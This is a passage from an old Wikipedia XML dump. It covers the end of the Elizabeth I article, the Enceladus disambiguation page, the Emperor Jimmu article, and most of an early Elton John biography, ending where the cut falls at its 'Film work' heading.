[[Charles Blount, 1st Earl of Devon|Charles Blount, 8th Baron Mountjoy]], a bookish man who liked to wrap himself up in scarves, was sent to Ireland to replace Essex. With ruthless intent, Mountjoy attempted to blockade O Neill's troops and starve his people into submission; the campaign effectively cast the English strategy of the earlier Desmond Rebellion (1580-83) into a larger theatre, with proportionatley greater casualties. In 1601, The Spanish sent over 3,000 troops to aid the Irish, with the justification that their intervention countered Elizabeth's previous aid to the Dutch rebels in the campaign against Spanish rule. After a devastating winter siege, Mountjoy defeated both the Spanish and the Irish forces at the [[Battle of Kinsale]]; O Neill surrendered a few days after Elizabeth's death in 1603, although the fact of her death was concealed from the supplicant rebel with great skill and irony on Mountjoy's part.

During her last ailment, the Queen is reported to have declared that she had sent &quot;''wolves, not shepherds, to govern Ireland, for they have left me nothing to govern over but ashes and carcasses''&quot; (''The Sayings of Queen Elizabeth'' (1925) p.?). Elizabeth's successor promoted Mountjoy to the office of Lord Lieutenant of Ireland, an office in which he showed skill and moderation, until his early death in 1605.

==Death==
Elizabeth I fell ill in February 1603, suffering from frailty and insomnia. After a period of distressing reflection, she died on [[March 24]] at [[Richmond Palace]], aged 69, the oldest English Sovereign ever to have reigned; the mark was not surpassed until [[George II of Great Britain|George II]] died in his seventy-seventh year in [[1760]]. Elizabeth was buried in [[Westminster Abbey]], immediately next to her sister Mary I. The Latin inscription on their tomb translates to &quot;Partners both in Throne and grave, here rest we two sisters, Elizabeth and Mary, in the hope of one resurrection&quot;.

The will of Henry VIII declared that Elizabeth was to be succeeded by the descendants of his younger sister, Mary Tudor, Duchess of Suffolk, rather than by the Scottish descendants of his elder sister, Margaret Tudor. If the will were upheld, then Elizabeth would have been succeeded by [[Lady Anne Stanley]]. If, however, the rules of male primogeniture were upheld, the successor would be James VI, King of Scots. Still other claimants were possible. They included [[Edward Seymour]], [[Baron Beauchamp]] (the illegitimate son of the Lady Catherine Grey) and [[William Stanley, 6th Earl of Derby]] (Lady Anne Stanley's uncle).

It is sometimes claimed that Elizabeth named James her heir on her deathbed. According to one story, when asked whom she would name her heir, she replied, &quot;Who could that be but my cousin Scotland?&quot;. According to another, she said, &quot;Who but a King could succeed a Queen?&quot;. Finally, a third legend suggests that she remained silent until her death. There is no evidence to prove any of these tales. In any event, none of the alternative heirs pressed their claims to the Throne. James VI was proclaimed King of England as [[James_I_of_England|James I]] a few hours after Elizabeth's death. James I's proclamation broke precedent because it was issued not by the new Sovereign him or herself, but by a Council of Accession, as James was in Scotland at the time. [[Accession Council]]s, rather than new Sovereigns, continue to issue proclamations in modern practice.

==Legacy==
[[Image:Autograph of Elizabeth I of England (from Nordisk familjebok).png|thumb|300px|Autograph of Elizabeth I of England]]
Elizabeth proved to be one of the most popular monarchs in English or British history. She placed seventh in the ''[[100 Greatest Britons]]'' poll, which was conducted by the [[BBC|British Broadcasting Corporation]] in [[2002]], outranking all other British monarchs. In [[2005]], in the [[History Channel]] documentary ''[[Britain's Greatest Monarch]]'', a group of historians and commentators analysed twelve British monarchs[http://www.thehistorychannel.co.uk/site/tv_guide/full_details/British_history/programme_2652.php] and gave them overall marks out of 60 for greatness (they were marked out of 10 in six categories, such as military prowess and legacy). Elizabeth I was the winner, with 48 points.

Many historians, however, have taken a far more dispassionate view of Elizabeth's reign. Though England achieved military victories, Elizabeth was far less pivotal than other monarchs such as [[Henry V of England|Henry V]]. Elizabeth has also been criticised for supporting the English [[slave trade]]. Her problems in Ireland also serve to blemish her record. 

Elizabeth was a successful monarch, helping steady the nation even after inheriting an enormous national debt from her sister Mary. Under her, England managed to avoid a crippling Spanish invasion. Elizabeth was also able to prevent the outbreak of a religious or civil war on English soil. Her achievements, however, were greatly magnified after her death. She was depicted in later years as a great defender of Protestantism in Europe. In reality, however, she often wavered before coming to the aid of her Protestant allies. As Sir Walter said in relation to her foreign policy, &quot;Her Majesty did all by halves&quot;.

Many artists glorified Elizabeth I and masked her age in their portraits. Elizabeth was often painted in rich and stylised gowns. Elizabeth is often shown holding a [[sieve]], a symbol of virginity. 

[[Benjamin Britten]] wrote an opera, ''[[Gloriana]]'', about the relationship between Elizabeth and Lord Essex, composed for the coronation of [[Elizabeth II of the United Kingdom]].

Notable portrayals of Queen Elizabeth in film and television have been plentiful; in fact, she is the most filmed British monarch. Those who have made an impression in the role of Elizabeth in the last 100 years, have included [[France|French]] actress [[Sarah Bernhardt]] in ''[[Les Amours de la reine Élisabeth]]'' (1912), [[Florence Eldridge]] in ''[[Mary of Scotland]]'' (1936), Flora Robson in ''[[Fire Over England]]'' ([[1937]]) and ''[[The Lion Has Wings]]'' ([[1939]]), [[Bette Davis]] in ''[[The Private Lives of Elizabeth and Essex]]'' ([[1939]]) and ''[[The Virgin Queen]]'' ([[1955]]) and [[Jean Simmons]] in ''[[Young Bess]]'' ([[1953]]). In recent years, the story of Elizabeth has been filmed more than ever. In [[1998]] [[Australian]] actress [[Cate Blanchett]] made her big break and received an [[Academy Award]] nomination for Best Actress for her critically acclaimed performance in ''[[Elizabeth (film)|Elizabeth]]''. The same year [[United Kingdom|British]] actress [[Judi Dench]] won an [[Academy Award]] for her supporting performance as the Virgin Queen in the popular ''[[Shakespeare in Love]]'', a performance of only eleven minutes (among the shortest ever to win an Oscar). In television, the actresses [[Glenda Jackson]] (in the BBC drama series ''[[Elizabeth R]]'' in [[1971]], and the [[1972]] historical film ''[[Mary, Queen of Scots (movie)|Mary Queen of Scots]]'') and [[Miranda Richardson]] (in the [[1986]] classic [[BBC]] sitcom ''[[Blackadder]]'' &amp;mdash; a comic interpretation of Elizabeth known fondly as [[Queenie]]) both played the role with consummate talent, creating memorable (if wildly contrasting) portraits of Elizabeth I. In [[2005]], [[Helen Mirren]] portrayed the Queen (later going on to portray [[Elizabeth II]]), and in [[2006]] [[Anne Marie Duff]] created one of the most accurate portrayals of the Queen, featuring state-of-the-art makeup to show the Queen's journey through life.

There have been many novels written about Elizabeth. They include: ''I, Elizabeth'' by [[Rosalind Miles]], ''The Virgin's Lover'' and ''The Queen's Fool'' by [[Philippa Gregory]], ''Queen of This Realm'' by [[Jean Plaidy]], and ''Virgin: Prelude to the Throne'' by [[Robin Maxwell]]. Elizabeth's story is spliced with her mother's in Maxwell's book ''The Secret Diary of Anne Boleyn.'' Maxwell also writes of a fictional child Elizabeth and Dudley had in ''The Queen's Bastard.'' Decades ago, [[Margaret Irwin]] produced a trilogy based on Elizabeth's youth: ''Young Bess,'' ''Elizabeth, Captive Princess'' and ''Elizabeth and the Prince of Spain.''

In children's and young adults' fiction, Elizabeth's story is told in ''Elizabeth I, Red Rose of the House of Tudor,'' a book in the Royal Diaries series published by Scholastic, and also in ''Beware, Princess Elizabeth'' by Carolyn Meyer.

==Style and arms==
[[image:QEI_arms.jpg|thumb|Coat of Arms of Elizabeth I]]
Like her predecessors since Henry VIII, Elizabeth used the [[Style_%28manner_of_address%29|style]] &quot;Majesty&quot;, as well as &quot;Highness&quot; and &quot;Grace&quot;. &quot;Majesty&quot;, which Henry VIII first used on a consistent basis, did not become exclusive until the reign of Elizabeth's successor, James I.

Elizabeth I used the official style &quot;Elizabeth, by the Grace of God, [[List of monarchs of England |Queen of England]], [[English Kings of France | France]] and [[Kingdom of Ireland| Ireland]], [[Fidei defensor]], etc.&quot;. Whilst most of the style matched the styles of her predecessors, Elizabeth I was the first to use &quot;etc.&quot;. It was inserted into the style with a view to restoring the phrase &quot;of the [[Church of England]] and also of [[Church of Ireland | Ireland]] in [[Earth]] Supreme Head&quot;, which had been added by Henry VIII but later removed by Mary I. The supremacy phrase was never actually restored, and &quot;etc.&quot; remained in the style, to be removed only in [[1801]].

She has been retroactively known as Queen Elizabeth I since the accession of [[Elizabeth II of the United Kingdom|Elizabeth II]] in [[1952]].  Prior to that time she was referred to as Queen Elizabeth.

Elizabeth's [[heraldry|arms]] were the same as those used by [[Henry IV of England|Henry IV]]: ''Quarterly, Azure three fleurs-de-lys Or (for [[France]]) and Gules three lions passant guardant in pale Or (for [[England]])''. Whilst her [[Tudor dynasty | Tudor]] predecessors had used a gold [[lion]] and a red [[European dragon | dragon]] as heraldic supporters, Elizabeth used a gold lion and a gold dragon. Elizabeth adopted one of her mother's mottoes, ''Semper Eadem'' (&quot;Always the Same&quot;) and also her mother's emblem as her emblem (The eagle on top of a tree trunk).

==See also==
*[[Anglo-Spanish War (1585)]]
*[[Church of England]]
*[[Eighty Years' War]]
*[[English Renaissance]]
*[[List of British monarchs]]
*[[The Military Revolution]]
*[[Protestant Reformation]]

==References==
*Eakins, Lara E. (2004) [http://tudorhistory.org/elizabeth/ Elizabeth I.]
*Haigh, Christopher (1988) ''Elizabeth I.'' London: Longman; (illustrated reprint 2001) ISBN 0582472784.
*Jokinen, Anniina (2004). [http://www.luminarium.org/renlit/eliza.htm Elizabeth I (1533&amp;ndash;1603).]
*Neale, J. E.. (1934). ''Queen Elizabeth I: A Biography'' London: Jonathan Cape. 
*Perry, Maria. (1990). ''The Word of a Prince: A Life of Elizabeth I from Contemporary Documents'' Woodbirdge: Boydell Press.
*Ridley, Jasper Godwin (1987). ''Elizabeth I.'' London: Constable.
*Somerset, Anne (1991). ''Elizabeth I.'' London: Knopf. ISBN 0385721579.
*Starkey, David (2000). ''Elizabeth : The Struggle for the Throne.'' New York: HarperCollins Publishers.
*Thomas, Heather (2004). [http://www.elizabethi.org/uk/ Elizabeth I.]
*Weir, Alison. (1998). ''The Life of Elizabeth I.'' (1st American edition) New York: Ballantine Books.
*Hasler,P.W., History of Parliament, House of Commons 1558-1603, HMSO 1981.[http://www.history.ac.uk/hop/]

==External links==
*[http://www.tudor-portraits.com Buehler, Edward.  (2004). &quot;Tudor and Elizabethan Portraits&quot;.]
*[http://www.marileecody.com/eliz1-images.html Cody, Marilee. (2004). &quot;Portraits of Queen Elizabeth I&quot;.]
*[http://www.archsoc.com/games/Mary.html Stevens, Garry. (2004). &quot;Bloody Mary: Further Intrigue in the Tudor Court&quot;.]
*[http://members.optushome.com.au/peterpanandwendy/The%20birth%20of%20Elizabeth.htm Dunn, Wendy J. (2002) &quot;Birth of Elizabeth&quot;]
*[http://tudors.crispen.org/tudor_women/ Crispen (2002) &quot;Life of Women in Tudor England]

{{start box}}
{{succession box two to two |
  before=[[Mary I of England|Mary I]] |
  title1=[[List of British monarchs|Queen of England]] |
  title2=[[King of Ireland|Queen of Ireland]] |
  years1=[[17 November]][[1558]] - [[24 March]][[1603]]|
  years2=[[17 November]][[1558]] - [[24 March]][[1603]]|
  after=[[James I of England|James I]]
}}
{{end box}}

{{Persondata
|NAME=Elizabeth I
|ALTERNATIVE NAMES=Elizabeth I of England;The Virgin Queen; Gloriana; Good Queen Bess
|SHORT DESCRIPTION=[[Queen of England]]; [[Queen of Ireland]]
|DATE OF BIRTH=[[7 September]] [[1533]]
|PLACE OF BIRTH=[[Greenwich]], [[England]]
|DATE OF DEATH=[[24 March]] [[1603]]
|PLACE OF DEATH=[[Richmond upon Thames]], [[Surrey]]
}}

[[Category:1533 births]]
[[Category:1603 deaths]]
[[Category:Henry VIII's children]]
[[Category:Heirs to the English &amp; British thrones]]
[[Category:English monarchs]]
[[Category:Queens regnant]]

{{Link FA|pt}}

{{Link FA|zh}}

[[ar:إليزابيث الأولى من إنكلترا]]
[[cs:Alžběta I.]]
[[cy:Elisabeth I o Loegr]]
[[da:Elizabeth 1. af England]]
[[de:Elisabeth I. (England)]]
[[es:Isabel I de Inglaterra]]
[[eo:Elizabeto la 1-a (Anglio)]]
[[fr:Élisabeth Ire d'Angleterre]]
[[hr:Elizabeta I.]]
[[is:Elísabet I]]
[[it:Elisabetta I d'Inghilterra]]
[[he:אליזבת הראשונה מלכת אנגליה]]
[[kw:Elisabeth I a Bow Sows]]
[[la:Elizabeth I Angliae Regina]]
[[nl:Elizabeth I van Engeland]]
[[nds:Königin Elisabeth I.]]
[[ja:エリザベス1世 (イングランド女王)]]
[[no:Elisabeth I av England]]
[[nn:Elisabeth I av England]]
[[pl:Elżbieta I]]
[[pt:Elizabeth I de Inglaterra]]
[[ro:Elisabeta I a Angliei]]
[[ru:Елизавета I (королева Англии)]]
[[simple:Elizabeth I of England]]
[[sk:Alžbeta I. (Anglicko)]]
[[sl:Elizabeta I. Angleška]]
[[sr:Краљица Елизабета I]]
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[[tr:I. Elizabeth]]
[[zh:伊丽莎白一世 (英格兰)]]</text>
    </revision>
  </page>
  <page>
    <title>Enceladus</title>
    <id>10129</id>
    <revision>
      <id>23349011</id>
      <timestamp>2005-09-16T16:37:06Z</timestamp>
      <contributor>
        <username>Shikai shaw</username>
        <id>181494</id>
      </contributor>
      <minor />
      <comment>+es, fr</comment>
      <text xml:space="preserve">*In [[Greek mythology]] [[Enceladus (mythology)|Enceladus]] was one of the Gigantes.
*In [[astronomy]], [[Enceladus (moon)|Enceladus]] is a [[natural satellite|moon]] of [[Saturn (planet)|Saturn]].

{{disambig}}

[[es:Encélado]]
[[fr:Encélade]]
[[ja:エンケラドゥス]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Jimmu</title>
    <id>10130</id>
    <revision>
      <id>36248556</id>
      <timestamp>2006-01-22T19:12:04Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">[[Image:jimmulg.jpeg|right|thumb|250|Meiji era print of Emperor Jimmu]]
[[Image:TenmuJitoTomb.jpg|right|thumbnail|The legendary tomb of Emperor Jimmu, Nara]]
'''Emperor Jimmu''' (神武天皇 ''Jinmu Tennō''; given name: Kamuyamato Iwarebiko, born according to legend on [[January 1]], [[711 BCE]], and died, again according to legend, on [[March 11]], [[585 BCE]]){{an|Japanese_dates}}, was the mythical founder of [[Japan]] and is the first emperor named in the traditional lists of emperors. The [[Emperor of Japan|Imperial house]] of Japan traditionally based its claim to the throne on its descent from Jimmu.

The name &quot;Emperor Jimmu&quot; is treated as the [[posthumous name]] of this mythical figure. In fact, being Chinese in form and Buddhist in implication, it must have been awarded centuries after the lifetime ascribed to him, as part of the compilation of legends about the origins of the Yamato dynasty known as the [[Kojiki]]. &quot;Jimmu&quot; literally means &quot;divine might&quot;.

According to [[Shinto]] belief, Jimmu is regarded as a direct descendant of the sun goddess, [[Amaterasu]]. Amaterasu had a son called [[Ame no Oshihomimi no Mikoto]] and through him a grandson named [[Ninigi-no-Mikoto]]. She sent her grandson to the Japanese islands where he eventually married [[Princess Konohana-Sakuya]]. Among their three sons was [[Hikohohodemi no Mikoto]], also called [[Yamasachi-hiko]], who married [[Princess Toyotama]]. She was the daughter of [[Ryujin|Owatatsumi]], the Japanese [[sea]] god and brother of Amaterasu. They had a single son called [[Hikonagisa Takeugaya Fukiaezu no Mikoto]]. The boy was abandoned by his parents at birth and consequently raised by [[Princess Tamayori]], his mother's younger sister. They eventually married and had a total of four sons. The last of them became Emperor Jimmu.  

In 1889, [[Kashihara Shrine]] was built to enshrine him in [[Kashihara]], [[Nara prefecture|Nara]].

New Year's Day in the Japanese lunisolar calendar was traditionally celebrated as the regnal day of Emperor Jimmu. In 1872, the [[Meiji Era|Meiji]] government proclaimed that February 11, 660 BCE in the [[Gregorian calendar]] was the foundation day of Japan.  This mythical date was commemorated in the holiday ''Kigensetsu'' (&quot;Era Day&quot;) from [[1872]] to [[1948]], which was resurrected in [[1966]] as the holiday ''Kenkoku Kinen-bi'' (&quot;[[National Foundation Day]]&quot;). 

==Notes==
#Japanese dates correspond to the traditional [[lunisolar calendar]] used in Japan until 1873.

== References and external links ==
* [http://www.wsu.edu:8080/~dee/ANCJAPAN/JIMMU.HTM A more detailed profile of him]
* [http://www9.ocn.ne.jp/~aosima/english-yuisyo.html A detailed summary of his descent legend]

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=''(none)'' | after=[[Emperor Suizei]] | years=660 BCE-585 BCE}}
{{end box}}

[[Category:711 BC births|Jimmu]]
[[Category:585 BC deaths|Jimmu]]
[[Category:Japanese emperors|Jimmu]]

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  </page>
  <page>
    <title>Elton John</title>
    <id>10131</id>
    <revision>
      <id>42126105</id>
      <timestamp>2006-03-04T00:10:34Z</timestamp>
      <contributor>
        <username>The tooth</username>
        <id>652482</id>
      </contributor>
      <comment>RV</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

{{Infobox_biography |
  subject_name   = Sir Elton Hercules John |
  image_name  = Elton_John_2.jpg |
  image_caption     = Elton John in the '70s |
  date_of_birth     = [[March 25]], [[1947]] |
  place_of_birth    = [[Pinner, England|Pinner]], [[England]], [[United Kingdom|UK]] |
  }}
'''Sir Elton Hercules {{ref|hercules}} John''', [[Commander of Order of the British Empire|CBE]] (born [[25 March]] [[1947]]) is a [[pop music]] [[singer]], [[composer]], and [[pianist]], and is one of the most successful solo artists in popular music history. Though best-known in contemporary times for his successful [[Candle in the Wind 1997|1997 re-release]] of &quot;[[Candle In The Wind]]&quot;, his recording and performing career has spanned over four decades. His flamboyant fashion sense, on-stage showmanship, and public struggles with his private life have combined with his talent to make him a legend to his many fans around the world.  

John was one of the dominant commercial forces in the rock world during the [[1970s]], racking up a string of seven consecutive #1 records on the U.S. album charts.  His piano-based sound has helped keep that instrument relevant in a guitar-oriented genre. He has maintained a public presence in the fight against [[AIDS]], and has had renewed moments of commercial triumph, such as his defiant hit &quot;I'm Still Standing&quot; and his award-winning work on the popular animated film ''[[The Lion King]]''. 

== Early life and career ==
Elton John was born '''Reginald Kenneth Dwight''' in [[Pinner]], [[England]], the son of Squadron Leader Stanley Dwight, [[Royal Air Force|RAF]], and his wife, Sheila Dwight. Reginald was raised primarily by his mother and other female relatives, and saw little of his father as a boy. Stanley and Sheila divorced in [[1962]], when Reginald was 15.
 
Reginald began playing the piano when he was four. Something of a child prodigy, he was able to play by ear any melody he heard on the radio or phonograph. At 11, he won a scholarship to the [[Royal Academy of Music]]. He stayed at the Academy for six years, leaving before graduation to focus on his professional music.

In [[1960]], Reginald and some of his friends formed a band called the &quot;Corvettes&quot;, which evolved into &quot;Bluesology&quot;. By the mid-1960s, &quot;Bluesology&quot; was backing touring American soul and R&amp;B musicians like [[the Isley Brothers]], [[Major Lance]], [[Doris Troy]], and [[Patti LaBelle and the Bluebelles]]. In [[1966]] the band became musician [[Long John Baldry]]'s supporting band and began touring cabarets with him throughout [[England]]. Reginald left soon after, as Baldry's control had increased. After failing lead vocalist auditions for both &quot;[[King Crimson]]&quot; and &quot;[[Gentle Giant]]&quot;, Reginald answered an advertisement in the New Musical Express placed by [[Ray Williams]] then the young A&amp;R manager for [[Liberty Records]]. There, Ray gave him lyrics written by [[Bernie Taupin]] who had answered the same ad. Reginald wrote music for the lyrics, and then mailed it to Taupin. Thus began a partnership that continues to this day. When they met six months later, Reginald had changed his name to &quot;Elton John&quot;, by [[deed poll]], in homage to Bluesology saxophonist [[Elton Dean|'''Elton''' Dean]] and [[Long John Baldry|Long '''John''' Baldry]]. In [[1967]] the first Elton John/Bernie Taupin song, ''Scarecrow'', was recorded. 

Elton and Bernie, now partners, joined Dick James's [[DJM Records]] as staff songwriters in [[1968]], and over the next two years, wrote songs for pop singers like [[Roger Cook]] and &quot;[[Lulu (singer)|Lulu]]&quot;, while also recording their own songs. Taupin would write a batch of lyrics in under an hour, and give it to John who would write music for them in half an hour, disposing the lyrics if he couldn't come up with anything quickly. 

In June [[1969]], Elton John released ''[[Empty Sky (album)|Empty Sky]]'', his first album, for DJM. Despite good reviews, it failed to click with the record buying public.

==1970s success==
[[Image:Elton Tommy.jpg|thumb|240px|right|The Pinball Wizard from ''[[Tommy (film)|Tommy]]'' (1975)]]

Elton's [[Elton John (album)|self-titled second album]] was released in the spring of [[1970]] on [[Music Corporation of America|MCA]], and slowly began to climb the charts. The first single from the album, &quot;[[Your Song]]&quot;, made the US Top Ten, and the album followed path.
John's first American concert took place at the Troubadour in Los Angeles, in August, receiving praise from the likes of [[Quincy Jones]].

''Elton John'' was followed quickly with the concept album ''[[Tumbleweed Connection]]'' in [[October]] [[1970]]. It reached the Top Ten on the [[Billboard 200]] like its predecessor, and got heavy airplay on album-oriented radio stations in the U.S., which most likely played a part in its success. ''[[Tumbleweed Connection]]'' was followed by the live album ''[[11-17-70]]'', an ambitious and largely underrated album showcasing Elton's considerable talent as a rock pianist and father of [[Piano rock]], with astonishing interaction between Elton, bassist [[Dee Murray]], and drummer [[Nigel Olsson]]. Extended versions of his early compositions clearly illustrate the gospel and boogie-woogie influences on Elton's piano playing, as the lead instrument in a successful, yet unusual (for Rock) trio format. The live album was followed by the soundtrack to the obscure film ''Friends'' and the album ''[[Madman Across the Water]]'', both that same year. ''[[Madman Across the Water]]'' reached the Top Ten, and produced the hit &amp;#8220;Levon&amp;#8221; while the soundtrack album produced the hit &quot;Friends&quot;. In [[1972]], Elton released ''[[Honky Chateau]]'', which became his first American number one album, spending five weeks at the top of the charts, and spawned the hit singles &quot;[[Rocket Man (song)|Rocket Man (I Think It's Going To Be A Long, Long Time)]]&quot; and &quot;[[Honky Cat]]&quot;.

In [[1973]], Elton started his own label, [[Rocket Records]]. That year, Elton released the pop album ''[[Don't Shoot Me I'm Only the Piano Player]]'' which produced the hits &quot;Crocodile Rock&quot; and &quot;[[Daniel (song)|Daniel]]&quot;, and the more thoughtful, album-oriented [[double album|double LP]] ''[[Goodbye Yellow Brick Road]]'' which gained instant critical acclaim. ''Goodbye Yellow Brick Road'' topped the charts and is considered by many to be his best album. It contains the number 1 hit &quot;Bennie and the Jets&quot;, along with the popular title song, &quot;Candle in the Wind&quot; (which went on to become the best selling song of all time), and the FM radio favourite &quot;Saturday Night's Alright (for Fighting).&quot; It also contained gems such as the track &quot;Funeral For A Friend&quot;/&quot;Love Lies Bleeding&quot; and &quot;Grey Seal&quot;.

&lt;!-- Unsourced image removed: [[Image:ejohn2.jpg|thumb|250px|right|Elton John mugging for the camera with friend [[John Lennon]], mid-70s, wearing his trademark silly glasses.]] --&gt;

In [[1974]], Elton engaged in a noted collaboration with [[John Lennon]], resulting in Elton covering [[The Beatles]]'s &quot;Lucy in the Sky with Diamonds&quot; and Lennon's &quot;One Day at a Time&quot;, Elton being featured on Lennon's &quot;Whatever Gets You Thru the Night&quot;, and a surprise joint concert performance of these two No. 1 hits along with the Beatles classic &quot;I Saw Her Standing There&quot;. Elton got Lennon to perform these songs at [[Madison Square Garden]] in what would be his last public performance. The concert was recorded and released two years later with another live concert recording on the album '''Here &amp; There''. That year, he also became director of a professional soccer team, the [[Watford F.C.|Watford Football Club]], and released the albums ''[[Caribou (album)|Caribou]]'' and ''[[Elton John's Greatest Hits]]'', both #1 hits, like their predecessors. Caribou was widely considered a lesser quality album but demonstrated John's rocking ability with &quot;The Bitch Is Back&quot; and his versatility in orchestral songs with &quot;Don't Let The Sun Go Down On Me&quot;. Also in 1974, Elton John was asked to play a character called the &quot;Pinball Wizard&quot; and perform a song of the same name by the British band [[The Who]] for their rock opera ''[[Tommy (rock opera)|Tommy)]]''. Drawing on [[power chord]]s, Elton's version was recorded and used for the movie release in 1975 and the single came out in 1976 (1975 in the U.S.). The song charted #7 in England. Many still recognize Elton John's rocker version more easily than The Who's original version. 

[[Image:Elton John - Captain Fantastic and the Brown Dirt Cowboy.jpg|left|thumb|Elton John's cryptic personality was revealed with the autobiographical album, ''[[Captain Fantastic and the Brown Dirt Cowboy]]''.]]

With the release of the [[1975]] autobiographical album ''[[Captain Fantastic and the Brown Dirt Cowboy]]'' Elton John revealed his previously ambiguous personality. In the album, Taupin and John describe their early days as struggling songwriters and musicians in [[London]] and its environs. The lyrics and accompanying photo booklet are infused with a specific sense of place and time that would otherwise be rare in John's music. &quot;Someone Saved My Life Tonight&quot; was the hit single from this album and captured an early turning point in John's life. His next album, the rock-oriented ''[[Rock of the Westies]]'', entered the [[Billboard 200]] chart at #1 like ''Captain Fantastic'', a previously unattained feat.

[[1976]] also saw a highly successful collaboration with English singer [[Kiki Dee]], when their duet &quot;Don't Go Breaking My Heart&quot; went to number 1 on the charts.

Elton, in a way, owes his success at that time to his concert performances. His flamboyant stage wardrobe that included [[ostrich]] feathers, $5,000 spectacles that spelled his name in lights, a Statue of Liberty costume and more, and his dressing up like [[Donald Duck]] or [[Wolfgang Amadeus Mozart]] among others at his concerts made them a success and created interest for his music.

Elton's career slowed down somewhat after [[1976]]. That year he stated in an interview with ''[[Rolling Stone]]'' that he was bisexual. This revelation may have contributed to a drop in record sales the following years. The decline in his record sales was also probably due to his exhaustion. He cut his performance schedule after that year, and retired from live performances in [[1977]] and started recording only one album per year.

Nevertheless, Elton John dominated the rock world in the [[1970s]], as evidenced by his seven consecutive albums that topped the US album charts: ''[[Honky Château]]'' ([[1972]], #1 for five weeks), ''[[Don't Shoot Me I'm Only the Piano Player]]'' ([[1973]], #1 for two weeks), ''[[Goodbye Yellow Brick Road]]'' ([[1973]], #1 for eight weeks), ''[[Caribou (album)|Caribou]]'' ([[1974]], #1 for four weeks), ''[[Elton John's Greatest Hits]]'' ([[1974]], #1 for ten weeks), ''[[Captain Fantastic and the Brown Dirt Cowboy]]'' ([[1975]], #1 for seven weeks) and ''[[Rock of the Westies]]'' ([[1975]], #1 for three weeks), and 15 hit singles, including six that went to #1 (&quot;Crocodile Rock&quot;, &quot;Bennie and the Jets&quot;, &quot;Lucy in the Sky With Diamonds&quot;, &quot;Philadelphia Freedom&quot;, &quot;Island Girl&quot;, &quot;Don’t Go Breaking My Heart&quot;) and three that reached #2 (&quot;Daniel&quot;, &quot;Goodbye Yellow Brick Road&quot;, &quot;Don’t Let the Sun Go Down on Me&quot;), during that period.

== 1980s onwards ==
On [[13 September]] [[1980]] Elton John performed a free concert to a huge audience on The Great Lawn in [[Central Park]] in [[New York City]], within hearing distance of his friend [[John Lennon]]'s apartment building. A few months later Lennon would be murdered and Elton mourned the loss in his [[1982]] hit &quot;Empty Garden (Hey Hey Johnny)&quot;.

Elton John's biggest [[1980s]] hits included, among others, &quot;I Guess That's Why They Call It the Blues&quot;, &quot;I'm Still Standing&quot;, &quot;Nikita&quot;, and a [[1986]] live recording of &quot;[[Candle in the Wind]]&quot; which he recorded during a concert with the [[Melbourne Symphony Orchestra]] although the orchestra did not take part in the song. The song, which was a tribute to [[Marilyn Monroe]], was originally recorded in 1973 on his ''[[Goodbye Yellow Brick Road]]'' album. 

The [[1991]] film documentary ''[[Two Rooms]]'' described the unusual writing style that John and Bernie Taupin use, which involves Taupin writing the lyrics on his own, and John then putting them to music, with the two never in the same room during the process.

In [[1991]], John's &quot;Basque&quot; won the [[Grammy Award for Best Instrumental Composition]].

In [[1992]], John performed &quot;[[Bohemian Rhapsody]]&quot; and &quot;[[The Show Must Go On]]&quot; with [[Queen (band)|Queen]] at the [[Freddie Mercury Tribute Concert]], an AIDS charity event held at [[Wembley Stadium]], [[London]] in honor of Queen's late frontman [[Freddie Mercury]]. In September of the same year, he performed &quot;[[November Rain]]&quot; with [[Guns N' Roses]] for the 1992 MTV Video Music Awards at the [[Pauley Pavilion]] in Los Angeles, CA. 

Elton John was inducted into the [[Rock and Roll Hall of Fame]] in [[1994]]. He and Bernie Taupin had previously been inducted into the [[Songwriters Hall of Fame]] in [[1992]].

Elton John was made a [[Commander of the Order of the British Empire]] in 1995.

[[Image:ROCKET PRCD79352.jpg|thumb|200px|left|The cover of the Princess Diana tribute, Candle In The Wind.]]

In September [[1997]], Taupin altered the lyrics of &quot;Candle in the Wind&quot; for a special version mourning the death of [[Diana, Princess of Wales]], and John performed it at her funeral in [[Westminster Abbey]]. A recorded version, &quot;[[Candle in the Wind 1997]]&quot;, then became the fastest selling single of all time, eventually going on to sell over 30 million copies worldwide, with the proceeds of approximately £55 million going to the [[Diana, Princess of Wales Memorial Fund]]. John would later win the [[Grammy Award for Best Male Pop Vocal Performance]] for the single.

Elton John was [[British Honours System#Knighthood|knighted]] by [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] on [[24 February]] [[1998]], granting him the title of &quot;Sir&quot;.

He continues to release new material to commercial success, and tours extensively, despite being fitted with a [[artificial pacemaker|pacemaker]] in July 1999. His face-to-face tours with fellow pianist [[Billy Joel]] have been a fan favourite throughout the world since the mid-1990s. Elton also has a multi-year contract to perform at [[Caesars Palace|Caesar's Palace]] in [[Las Vegas, Nevada|Las Vegas]]. The show, entitled ''The Red Piano'', is a multimedia concert featuring massive props and video montages created by [[David LaChapelle]].

John dueted with [[Eminem]] on the rapper's &quot;Stan&quot; at the [[Grammy Awards of 2001]]. This went a long way towards absolving Eminem of charges of [[homophobia]] and thus paving the way for Eminem's greater mainstream acceptance.

In 2001, John was booked to appear on an episode of the [[BBC]] topical panel show ''[[Have I Got News For You]]'' but withdrew with just hours to spare. He was replaced by a look-alike - a [[Taxicab|taxi]] driver from [[Colchester]] called Ray Johnson, who was credited by the show as &quot;Ray Elton John Son&quot;. Johnson also appeared &quot;as&quot; Elton in [[Never Mind the Buzzcocks]]' December 20th, 2005, as part of a line up. 

He achieved yet another #1 single in the UK, being featured on [[2Pac]]'s posthumous song &quot;[[Ghetto Gospel]]&quot; in [[2005]], from the rapper's album, ''[[Loyal to the Game]]''. The song sampled &quot;Indian Sunset&quot; from John's [[1971]] album, ''[[Madman Across the Water]]''.

On [[2 July]] [[2005]], John performed at the [[Live 8 concert, London|Live 8 concert at Hyde Park in London]]. Here he sang &quot;The Bitch is Back,&quot; &quot;Saturday Night is Alright for Fighting&quot; and lastly, T-Rex's &quot;Children of the Revolution&quot; with The [[Libertines]] and [[Babyshambles]]' frontman, [[Pete Doherty]].

In July of 2005, [[Madame Tussauds]] made a statue of Elton John to his measurements. It took more than 1,000 hours to complete. John is currently sandwiching a two-year world tour, some venues of which are new to Elton, with his regular appearances at Caesar's Palace in Las Vegas.

==Film work==
